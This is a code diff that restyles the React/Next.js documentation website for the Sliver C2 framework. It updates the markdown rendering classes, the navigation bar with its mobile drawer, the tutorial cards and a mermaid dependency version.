@@ -342,7 +345,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
}
|
||||
|
||||
const anchorClassName = mergeClassNames(
|
||||
"font-medium text-primary transition-colors duration-150 underline-offset-4 hover:text-primary-dark",
|
||||
"font-medium text-accent underline-offset-4 hover:underline",
|
||||
className
|
||||
);
|
||||
|
||||
@@ -376,7 +379,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<p
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"my-6 text-base leading-7 text-slate-700 dark:text-slate-300",
|
||||
"my-6 text-base leading-7 text-foreground/80",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -391,7 +394,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<ul
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"my-6 list-disc space-y-2 pl-6 text-slate-700 marker:text-primary dark:text-slate-300",
|
||||
"my-6 list-disc space-y-2 pl-6 text-foreground/80 marker:text-accent",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -406,7 +409,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<ol
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"my-6 list-decimal space-y-2 pl-6 text-slate-700 marker:text-primary dark:text-slate-300",
|
||||
"my-6 list-decimal space-y-2 pl-6 text-foreground/80 marker:text-accent",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -421,7 +424,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<li
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"leading-6 text-slate-700 dark:text-slate-300",
|
||||
"leading-6 text-foreground/80",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -436,7 +439,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<blockquote
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"my-8 border-l-4 border-slate-200 bg-slate-50 px-6 py-4 text-base italic text-slate-700 shadow-sm dark:border-slate-700 dark:bg-slate-900/50 dark:text-slate-300",
|
||||
"my-8 rounded-r-2xl border-l-4 border-accent/40 bg-surface-secondary px-6 py-4 text-base italic text-foreground/80",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -451,7 +454,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<hr
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"my-12 border-t border-slate-200 dark:border-slate-800",
|
||||
"my-12 border-t border-separator",
|
||||
className
|
||||
)}
|
||||
/>
|
||||
@@ -461,11 +464,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
table(tableProps) {
|
||||
const { className, children, ...rest } = tableProps;
|
||||
return (
|
||||
<div className="my-8 overflow-hidden rounded-xl border border-slate-200 bg-white shadow-sm dark:border-slate-800 dark:bg-slate-950/40">
|
||||
<div className="sliver-scrollbar my-8 overflow-x-auto rounded-2xl border border-separator bg-surface">
|
||||
<table
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"w-full min-w-max divide-y divide-slate-200 text-left text-sm dark:divide-slate-800",
|
||||
"w-full min-w-max divide-y divide-separator text-left text-sm",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -481,7 +484,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<thead
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"bg-slate-50 text-sm font-semibold uppercase tracking-wide text-slate-600 dark:bg-slate-900/60 dark:text-slate-300",
|
||||
"bg-surface-secondary text-sm font-semibold text-muted",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -496,7 +499,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<tbody
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"divide-y divide-slate-200 dark:divide-slate-800",
|
||||
"divide-y divide-separator",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -511,7 +514,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<tr
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"transition-colors hover:bg-slate-50 dark:hover:bg-slate-900/60",
|
||||
"bg-transparent",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -526,7 +529,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<th
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"px-4 py-3 text-left text-sm font-semibold text-slate-600 dark:text-slate-200",
|
||||
"px-4 py-3 text-left text-sm font-semibold text-foreground",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -541,7 +544,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<td
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"px-4 py-3 align-top text-sm text-slate-700 dark:text-slate-300",
|
||||
"px-4 py-3 align-top text-sm text-foreground/80",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -556,7 +559,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<strong
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"font-semibold text-slate-900 dark:text-slate-100",
|
||||
"font-semibold text-foreground",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -571,7 +574,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<em
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"text-slate-700 dark:text-slate-300",
|
||||
"text-foreground/80",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -605,7 +608,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<pre
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"my-6 overflow-x-auto rounded-xl border border-slate-200 bg-slate-50 p-4 text-[13px] leading-6 text-slate-900 shadow-inner dark:border-slate-800 dark:bg-slate-950/90 dark:text-slate-100",
|
||||
"sliver-scrollbar my-6 overflow-x-auto rounded-2xl border border-separator bg-surface-secondary p-4 text-[13px] leading-6 text-foreground",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -625,7 +628,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
width={1200}
|
||||
height={720}
|
||||
className={mergeClassNames(
|
||||
"my-8 w-full rounded-xl border border-slate-200 object-contain shadow-sm dark:border-slate-800",
|
||||
"my-8 w-full rounded-2xl border border-separator/70 object-contain",
|
||||
className
|
||||
)}
|
||||
/>
|
||||
@@ -655,7 +658,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
|
||||
if (normalizedLang === "youtube") {
|
||||
const embedId = sourceCode || "";
|
||||
return <Youtube embedId={embedId.trim()} />;
|
||||
return (
|
||||
<div className="not-prose my-8 overflow-hidden rounded-2xl">
|
||||
<Youtube embedId={embedId.trim()} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (normalizedLang === "asciinema") {
|
||||
@@ -668,15 +675,18 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
return <></>;
|
||||
}
|
||||
return (
|
||||
<AsciinemaPlayer
|
||||
src={srcUrl.toString()}
|
||||
rows={asciiCast.rows || "18"}
|
||||
cols={asciiCast.cols || "75"}
|
||||
idleTimeLimit={asciiCast.idleTimeLimit || 2}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
<div className="sliver-terminal-frame not-prose my-8 w-full max-w-full overflow-x-auto rounded-2xl bg-[#111315]">
|
||||
<AsciinemaPlayer
|
||||
className="min-w-[42rem]"
|
||||
src={srcUrl.toString()}
|
||||
rows={asciiCast.rows || "18"}
|
||||
cols={asciiCast.cols || "75"}
|
||||
idleTimeLimit={asciiCast.idleTimeLimit || 2}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -694,7 +704,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
<code
|
||||
{...rest}
|
||||
className={mergeClassNames(
|
||||
"rounded-md bg-slate-100 px-1.5 py-0.5 font-mono text-[13px] text-slate-700 dark:bg-slate-800/80 dark:text-slate-200",
|
||||
"rounded-md bg-surface-secondary px-1.5 py-0.5 font-mono text-[13px] text-foreground",
|
||||
className
|
||||
)}
|
||||
>
|
||||
@@ -752,7 +762,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
const formattedSourceCode = sourceCode.replace(/\n$/, "");
|
||||
|
||||
const preWrapperClassName = mergeClassNames(
|
||||
"not-prose mt-4 overflow-x-auto rounded-2xl border border-slate-200 bg-slate-50 px-4 py-4 text-[13px] leading-6 text-slate-900 shadow-sm dark:border-slate-800 dark:bg-slate-950/90 dark:text-slate-100",
|
||||
"sliver-scrollbar not-prose mt-4 overflow-x-auto rounded-2xl border border-separator bg-surface-secondary px-4 py-4 text-[13px] leading-6 text-foreground",
|
||||
className
|
||||
);
|
||||
|
||||
|
||||
@@ -115,7 +115,7 @@ const Mermaid = ({ diagram, minHeight }: MermaidProps) => {
|
||||
|
||||
if (error) {
|
||||
return (
|
||||
<div className="not-prose my-6 text-sm text-rose-700 dark:text-rose-300">
|
||||
<div className="not-prose my-6 rounded-2xl bg-danger-soft p-4 text-sm text-danger-soft-foreground">
|
||||
Failed to render Mermaid diagram: {error}
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -5,24 +5,28 @@ import { Themes } from "@/util/themes";
|
||||
import { faDiscord, faGithub } from "@fortawesome/free-brands-svg-icons";
|
||||
import {
|
||||
faBars,
|
||||
faHome,
|
||||
faMoon,
|
||||
faSearch,
|
||||
faSun,
|
||||
faXmark,
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { Button, SearchField, Tooltip } from "@heroui/react";
|
||||
import { Button, Drawer, SearchField, Tooltip } from "@heroui/react";
|
||||
import { useTheme } from "next-themes";
|
||||
import NextLink from "next/link";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
const routes = [
|
||||
{ href: "/docs", label: "Docs" },
|
||||
{ href: "/tutorials", label: "Tutorials" },
|
||||
{ href: "/talks", label: "Talks" },
|
||||
{ href: "/docs", label: "Docs" },
|
||||
];
|
||||
|
||||
const discordUrl =
|
||||
"https://discord.com/channels/791066041198968873/1339996286514106409";
|
||||
const githubUrl = "https://github.com/BishopFox/sliver";
|
||||
|
||||
export default function TopNavbar() {
|
||||
const router = useRouter();
|
||||
const { theme, setTheme } = useTheme();
|
||||
@@ -30,9 +34,28 @@ export default function TopNavbar() {
|
||||
const [isMobileMenuOpen, setIsMobileMenuOpen] = React.useState(false);
|
||||
|
||||
const activeTheme = theme || Themes.DARK;
|
||||
const lightDarkModeIcon = React.useMemo(() => {
|
||||
return activeTheme === Themes.DARK ? faSun : faMoon;
|
||||
}, [activeTheme]);
|
||||
const isDarkTheme = activeTheme === Themes.DARK;
|
||||
const lightDarkModeIcon = isDarkTheme ? faSun : faMoon;
|
||||
const themeToggleLabel = isDarkTheme
|
||||
? "Switch to light mode"
|
||||
: "Switch to dark mode";
|
||||
|
||||
const toggleTheme = React.useCallback(() => {
|
||||
setTheme(isDarkTheme ? Themes.LIGHT : Themes.DARK);
|
||||
}, [isDarkTheme, setTheme]);
|
||||
|
||||
React.useEffect(() => {
|
||||
const desktopBreakpoint = window.matchMedia("(min-width: 768px)");
|
||||
const closeMobileMenu = (event: MediaQueryListEvent) => {
|
||||
if (event.matches) {
|
||||
setIsMobileMenuOpen(false);
|
||||
}
|
||||
};
|
||||
|
||||
desktopBreakpoint.addEventListener("change", closeMobileMenu);
|
||||
return () =>
|
||||
desktopBreakpoint.removeEventListener("change", closeMobileMenu);
|
||||
}, []);
|
||||
|
||||
const handleSearchSubmit = React.useCallback(
|
||||
(value = query) => {
|
||||
@@ -41,7 +64,11 @@ export default function TopNavbar() {
|
||||
if (searchQuery.length === 0) {
|
||||
return;
|
||||
}
|
||||
router.push({ pathname: "/search/", query: { search: searchQuery } });
|
||||
|
||||
void router.push({
|
||||
pathname: "/search/",
|
||||
query: { search: searchQuery },
|
||||
});
|
||||
setQuery("");
|
||||
setIsMobileMenuOpen(false);
|
||||
},
|
||||
@@ -58,12 +85,13 @@ export default function TopNavbar() {
|
||||
[],
|
||||
);
|
||||
|
||||
const renderSearchInput = (wrapperClassName?: string) => (
|
||||
const renderSearchInput = (className?: string) => (
|
||||
<SearchField
|
||||
aria-label="Search documentation"
|
||||
className={wrapperClassName}
|
||||
className={className}
|
||||
fullWidth
|
||||
value={query}
|
||||
variant="secondary"
|
||||
onChange={setQuery}
|
||||
onSubmit={handleSearchSubmit}
|
||||
>
|
||||
@@ -71,8 +99,10 @@ export default function TopNavbar() {
|
||||
<SearchField.SearchIcon>
|
||||
<FontAwesomeIcon icon={faSearch} />
|
||||
</SearchField.SearchIcon>
|
||||
<SearchField.Input placeholder="Search..." />
|
||||
{query.length > 0 ? <SearchField.ClearButton aria-label="Clear search" /> : null}
|
||||
<SearchField.Input placeholder="Search documentation…" />
|
||||
{query.length > 0 ? (
|
||||
<SearchField.ClearButton aria-label="Clear search" />
|
||||
) : null}
|
||||
</SearchField.Group>
|
||||
</SearchField>
|
||||
);
|
||||
@@ -82,82 +112,80 @@ export default function TopNavbar() {
|
||||
|
||||
return (
|
||||
<li key={href}>
|
||||
<Button
|
||||
variant={isActive ? "secondary" : "ghost"}
|
||||
onPress={() => router.push(href)}
|
||||
<NextLink
|
||||
href={href}
|
||||
aria-current={isActive ? "page" : undefined}
|
||||
className={`inline-flex h-10 items-center justify-center rounded-xl px-4 text-sm font-medium no-underline outline-none focus-visible:ring-2 focus-visible:ring-accent/40 ${
|
||||
isActive
|
||||
? "bg-surface-secondary text-foreground shadow-surface"
|
||||
: "text-muted hover:bg-surface-secondary hover:text-foreground"
|
||||
}`}
|
||||
>
|
||||
{label}
|
||||
</Button>
|
||||
</NextLink>
|
||||
</li>
|
||||
);
|
||||
};
|
||||
|
||||
const renderMobileRoute = (href: string, label: string) => {
|
||||
const isActive = href === "/" ? router.pathname === "/" : router.pathname.startsWith(href);
|
||||
const isActive =
|
||||
href === "/"
|
||||
? router.pathname === "/"
|
||||
: router.pathname.startsWith(href);
|
||||
|
||||
return (
|
||||
<Button
|
||||
<NextLink
|
||||
key={href}
|
||||
fullWidth
|
||||
variant={isActive ? "primary" : "ghost"}
|
||||
onPress={() => {
|
||||
router.push(href);
|
||||
setIsMobileMenuOpen(false);
|
||||
}}
|
||||
href={href}
|
||||
aria-current={isActive ? "page" : undefined}
|
||||
className={`inline-flex min-h-10 w-full items-center rounded-xl px-3 py-2 text-sm font-medium no-underline outline-none focus-visible:ring-2 focus-visible:ring-accent/40 ${
|
||||
isActive
|
||||
? "bg-surface-secondary text-foreground shadow-surface"
|
||||
: "text-muted hover:bg-surface-secondary hover:text-foreground"
|
||||
}`}
|
||||
onClick={() => setIsMobileMenuOpen(false)}
|
||||
>
|
||||
{href === "/" ? <FontAwesomeIcon fixedWidth icon={faHome} /> : null}
|
||||
{label}
|
||||
</Button>
|
||||
</NextLink>
|
||||
);
|
||||
};
|
||||
|
||||
return (
|
||||
<>
|
||||
<nav className="sliver-navbar-glass sticky top-0 z-40 px-4 shadow-sm md:px-6">
|
||||
<div className="flex h-16 items-center gap-4">
|
||||
<button
|
||||
type="button"
|
||||
className="flex items-center gap-2 text-foreground"
|
||||
onClick={() => {
|
||||
router.push("/");
|
||||
setIsMobileMenuOpen(false);
|
||||
}}
|
||||
aria-label="Sliver C2 home"
|
||||
<nav
|
||||
aria-label="Primary navigation"
|
||||
className="sticky top-0 z-40 h-16 border-b border-separator bg-background/85 backdrop-blur-xl"
|
||||
>
|
||||
<div className="mx-auto flex h-16 w-full max-w-[1440px] items-center gap-3 px-4 sm:px-6 lg:px-8">
|
||||
<NextLink
|
||||
href="/"
|
||||
aria-label="Sliver documentation home"
|
||||
className="-ml-2 inline-flex h-10 shrink-0 items-center gap-2 rounded-xl px-2 text-sm font-semibold text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
|
||||
>
|
||||
<SliversIcon />
|
||||
<span className="hidden font-bold text-inherit sm:block">
|
||||
Sliver C2
|
||||
<span className="flex size-8 items-center justify-center rounded-xl bg-accent text-accent-foreground">
|
||||
<SliversIcon height={18} />
|
||||
</span>
|
||||
</button>
|
||||
<span className="hidden items-baseline gap-1.5 sm:flex">
|
||||
<span>Sliver C2</span>
|
||||
</span>
|
||||
</NextLink>
|
||||
|
||||
<ul className="hidden items-center gap-2 md:flex">
|
||||
<li>
|
||||
{renderTooltip(
|
||||
"Home",
|
||||
<Button
|
||||
isIconOnly
|
||||
aria-label="Home"
|
||||
variant={router.pathname === "/" ? "secondary" : "ghost"}
|
||||
onPress={() => router.push("/")}
|
||||
>
|
||||
<FontAwesomeIcon fixedWidth icon={faHome} />
|
||||
</Button>,
|
||||
)}
|
||||
</li>
|
||||
{routes.map((route) => renderDesktopRoute(route.href, route.label))}
|
||||
<ul className="hidden items-center gap-1 md:flex">
|
||||
{routes.map((route) =>
|
||||
renderDesktopRoute(route.href, route.label),
|
||||
)}
|
||||
</ul>
|
||||
|
||||
<div className="ml-auto hidden items-center gap-2 md:flex">
|
||||
{renderSearchInput("w-64")}
|
||||
<div className="ml-auto hidden items-center gap-1 md:flex">
|
||||
{renderSearchInput("mr-2 w-56 xl:w-72")}
|
||||
|
||||
{renderTooltip(
|
||||
activeTheme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode",
|
||||
themeToggleLabel,
|
||||
<Button
|
||||
isIconOnly
|
||||
aria-label={activeTheme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode"}
|
||||
aria-label={themeToggleLabel}
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
setTheme(activeTheme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
|
||||
}}
|
||||
onPress={toggleTheme}
|
||||
>
|
||||
<FontAwesomeIcon icon={lightDarkModeIcon} />
|
||||
</Button>,
|
||||
@@ -165,62 +193,55 @@ export default function TopNavbar() {
|
||||
|
||||
{renderTooltip(
|
||||
"Join Discord",
|
||||
<Button
|
||||
isIconOnly
|
||||
<a
|
||||
href={discordUrl}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
aria-label="Join Discord"
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
window.open(
|
||||
"https://discord.com/channels/791066041198968873/1339996286514106409",
|
||||
"_blank",
|
||||
"noopener,noreferrer",
|
||||
);
|
||||
}}
|
||||
className="inline-flex size-10 items-center justify-center rounded-xl text-muted no-underline outline-none hover:bg-surface-secondary hover:text-foreground focus-visible:ring-2 focus-visible:ring-accent/40"
|
||||
>
|
||||
<FontAwesomeIcon icon={faDiscord} />
|
||||
</Button>,
|
||||
</a>,
|
||||
)}
|
||||
|
||||
{renderTooltip(
|
||||
"View on GitHub",
|
||||
<Button
|
||||
isIconOnly
|
||||
<a
|
||||
href={githubUrl}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
aria-label="View on GitHub"
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
window.open(
|
||||
"https://github.com/BishopFox/sliver",
|
||||
"_blank",
|
||||
"noopener,noreferrer",
|
||||
);
|
||||
}}
|
||||
className="inline-flex size-10 items-center justify-center rounded-xl text-muted no-underline outline-none hover:bg-surface-secondary hover:text-foreground focus-visible:ring-2 focus-visible:ring-accent/40"
|
||||
>
|
||||
<FontAwesomeIcon icon={faGithub} />
|
||||
</Button>,
|
||||
</a>,
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="ml-auto flex items-center gap-2 md:hidden">
|
||||
<div className="ml-auto flex items-center gap-1 md:hidden">
|
||||
{renderTooltip(
|
||||
activeTheme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode",
|
||||
themeToggleLabel,
|
||||
<Button
|
||||
isIconOnly
|
||||
aria-label={activeTheme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode"}
|
||||
aria-label={themeToggleLabel}
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
setTheme(activeTheme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
|
||||
}}
|
||||
onPress={toggleTheme}
|
||||
>
|
||||
<FontAwesomeIcon icon={lightDarkModeIcon} />
|
||||
</Button>,
|
||||
)}
|
||||
|
||||
{renderTooltip(
|
||||
isMobileMenuOpen ? "Close menu" : "Open menu",
|
||||
<Button
|
||||
isIconOnly
|
||||
variant="ghost"
|
||||
aria-controls="mobile-navigation"
|
||||
aria-expanded={isMobileMenuOpen}
|
||||
aria-label={isMobileMenuOpen ? "Close menu" : "Open menu"}
|
||||
onPress={() => setIsMobileMenuOpen((current) => !current)}
|
||||
variant="ghost"
|
||||
onPress={() =>
|
||||
setIsMobileMenuOpen((current) => !current)
|
||||
}
|
||||
>
|
||||
<FontAwesomeIcon icon={isMobileMenuOpen ? faXmark : faBars} />
|
||||
</Button>,
|
||||
@@ -229,43 +250,56 @@ export default function TopNavbar() {
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
{isMobileMenuOpen ? (
|
||||
<div className="sliver-navbar-glass px-4 pb-4 shadow-sm md:hidden">
|
||||
<div className="mt-3">{renderSearchInput("w-full")}</div>
|
||||
<div className="mt-4 flex flex-col gap-2">
|
||||
{renderMobileRoute("/", "Home")}
|
||||
{routes.map((route) => renderMobileRoute(route.href, route.label))}
|
||||
<Button
|
||||
fullWidth
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
window.open(
|
||||
"https://discord.com/channels/791066041198968873/1339996286514106409",
|
||||
"_blank",
|
||||
"noopener,noreferrer",
|
||||
);
|
||||
}}
|
||||
>
|
||||
<FontAwesomeIcon icon={faDiscord} />
|
||||
Discord
|
||||
</Button>
|
||||
<Button
|
||||
fullWidth
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
window.open(
|
||||
"https://github.com/BishopFox/sliver",
|
||||
"_blank",
|
||||
"noopener,noreferrer",
|
||||
);
|
||||
}}
|
||||
>
|
||||
<FontAwesomeIcon icon={faGithub} />
|
||||
GitHub
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
) : null}
|
||||
<Drawer.Backdrop
|
||||
isOpen={isMobileMenuOpen}
|
||||
variant="blur"
|
||||
onOpenChange={setIsMobileMenuOpen}
|
||||
>
|
||||
<Drawer.Content placement="right">
|
||||
<Drawer.Dialog
|
||||
id="mobile-navigation"
|
||||
className="w-[min(24rem,calc(100vw-1.5rem))]"
|
||||
>
|
||||
<Drawer.CloseTrigger />
|
||||
<Drawer.Header>
|
||||
<Drawer.Heading>Navigate Sliver Docs</Drawer.Heading>
|
||||
</Drawer.Header>
|
||||
<Drawer.Body className="flex flex-col gap-5 pt-2">
|
||||
{renderSearchInput("w-full")}
|
||||
|
||||
<nav
|
||||
aria-label="Mobile navigation"
|
||||
className="flex flex-col gap-1"
|
||||
>
|
||||
{renderMobileRoute("/", "Home")}
|
||||
{routes.map((route) =>
|
||||
renderMobileRoute(route.href, route.label),
|
||||
)}
|
||||
</nav>
|
||||
</Drawer.Body>
|
||||
<Drawer.Footer className="grid grid-cols-2 gap-2">
|
||||
<a
|
||||
href={discordUrl}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="inline-flex h-10 w-full items-center justify-center gap-2 rounded-xl border border-separator px-4 text-sm font-medium text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
|
||||
>
|
||||
<FontAwesomeIcon icon={faDiscord} />
|
||||
Discord
|
||||
</a>
|
||||
<a
|
||||
href={githubUrl}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="inline-flex h-10 w-full items-center justify-center gap-2 rounded-xl border border-separator px-4 text-sm font-medium text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
|
||||
>
|
||||
<FontAwesomeIcon icon={faGithub} />
|
||||
GitHub
|
||||
</a>
|
||||
</Drawer.Footer>
|
||||
</Drawer.Dialog>
|
||||
</Drawer.Content>
|
||||
</Drawer.Backdrop>
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -3,7 +3,6 @@ import AsciinemaPlayer from "./asciinema";
|
||||
|
||||
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import styles from "./TutorialCard.module.css";
|
||||
|
||||
export type TutorialCardCardProps = {
|
||||
name: string;
|
||||
@@ -13,6 +12,7 @@ export type TutorialCardCardProps = {
|
||||
rows?: string;
|
||||
cols?: string;
|
||||
idleTimeLimit?: number;
|
||||
hideControls?: boolean;
|
||||
|
||||
italicDescription?: boolean;
|
||||
onPress?: () => void;
|
||||
@@ -21,55 +21,48 @@ export type TutorialCardCardProps = {
|
||||
};
|
||||
|
||||
export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
const actionButtonClassName =
|
||||
"ml-auto h-auto min-h-0 shrink-0 px-0 py-0 text-sm font-semibold [--button-bg-hover:transparent] [--button-bg-pressed:transparent] [--button-bg:transparent] [--button-fg:var(--warning)]";
|
||||
|
||||
return (
|
||||
<Card className="relative z-0 gap-0 overflow-hidden p-0">
|
||||
<Card.Header className="absolute left-3 right-3 top-3 z-10 flex-col items-end p-0 text-right">
|
||||
<p className="text-sm font-bold uppercase leading-none text-white/70">
|
||||
{props.name}
|
||||
</p>
|
||||
</Card.Header>
|
||||
|
||||
<div className={`${styles["hide-control-bar"]} overflow-hidden`}>
|
||||
<Card className="relative h-full min-w-0 gap-0 overflow-hidden bg-black p-0 shadow-surface">
|
||||
<div className="sliver-terminal-frame relative w-full max-w-full overflow-x-auto bg-[#111315]">
|
||||
<AsciinemaPlayer
|
||||
className="min-w-[36rem]"
|
||||
src={props.asciiCast}
|
||||
rows={props.rows ? props.rows : "18"}
|
||||
cols={props.cols ? props.cols : "75"}
|
||||
idleTimeLimit={props.idleTimeLimit ? props.idleTimeLimit : 2}
|
||||
hideControls={props.hideControls}
|
||||
rows={props.rows || "18"}
|
||||
cols={props.cols || "75"}
|
||||
idleTimeLimit={props.idleTimeLimit || 2}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
|
||||
<div className="pointer-events-none absolute inset-x-3 top-3 z-10 flex justify-end">
|
||||
<h3 className="max-w-[80%] rounded-xl border border-white/15 bg-black/55 px-3 py-2 text-right text-sm font-semibold text-white/85 shadow-lg backdrop-blur-xl">
|
||||
{props.name}
|
||||
</h3>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<Card.Footer className="absolute bottom-0 left-0 right-0 z-10 border-t border-white/20 bg-black/40 p-3 backdrop-blur-md">
|
||||
<div className="flex min-h-10 w-full flex-row items-center gap-4">
|
||||
<p
|
||||
className={
|
||||
props.italicDescription
|
||||
? "min-w-0 flex-1 text-sm leading-snug text-white/80 italic"
|
||||
: "min-w-0 flex-1 text-sm leading-snug text-white/80"
|
||||
}
|
||||
>
|
||||
{props.description}
|
||||
</p>
|
||||
<Card.Footer className="absolute inset-x-3 bottom-10 z-10 flex-row items-center gap-3 rounded-2xl border border-white/15 bg-black/55 px-3 py-2.5 text-white shadow-xl backdrop-blur-xl">
|
||||
<p
|
||||
className={`min-w-0 flex-1 text-sm leading-5 text-white/70 ${
|
||||
props.italicDescription ? "italic" : ""
|
||||
}`}
|
||||
>
|
||||
{props.description}
|
||||
</p>
|
||||
|
||||
{props.showButton ? (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
className={actionButtonClassName}
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
) : (
|
||||
<></>
|
||||
)}
|
||||
</div>
|
||||
{props.showButton ? (
|
||||
<Button
|
||||
className="shrink-0 text-white hover:bg-white/10"
|
||||
size="sm"
|
||||
variant="ghost"
|
||||
onPress={props.onPress}
|
||||
>
|
||||
{props.buttonText || "Read tutorial"}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
) : null}
|
||||
</Card.Footer>
|
||||
</Card>
|
||||
);
|
||||
|
||||
Generated
+14
-14
@@ -22,7 +22,7 @@
|
||||
"asciinema-player": "^3.15.1",
|
||||
"fuse.js": "^7.3.0",
|
||||
"lunr": "^2.3.9",
|
||||
"mermaid": "^11.15.0",
|
||||
"mermaid": "^11.16.1",
|
||||
"next": "^16.2.6",
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "^19.2.5",
|
||||
@@ -1498,12 +1498,12 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@mermaid-js/parser": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.1.1.tgz",
|
||||
"integrity": "sha512-VuHdsYMK1bT6X2JbcAaWAhugTRvRBRyuZgd+c22swUeI9g/ntaxF7CY7dYarhZovofCbUNO0G7JesfmNtjYOCw==",
|
||||
"version": "1.2.0",
|
||||
"resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.2.0.tgz",
|
||||
"integrity": "sha512-oYPyv8A4As1yH5Bx+04iQEQxXuIQDe0GKCNSRgao6z8AM9jixXIfP0vsppRLvGf+nKIOb9/LdpWA4YuJiVvESA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@chevrotain/types": "~11.1.1"
|
||||
"@chevrotain/types": "~11.1.2"
|
||||
}
|
||||
},
|
||||
"node_modules/@monaco-editor/loader": {
|
||||
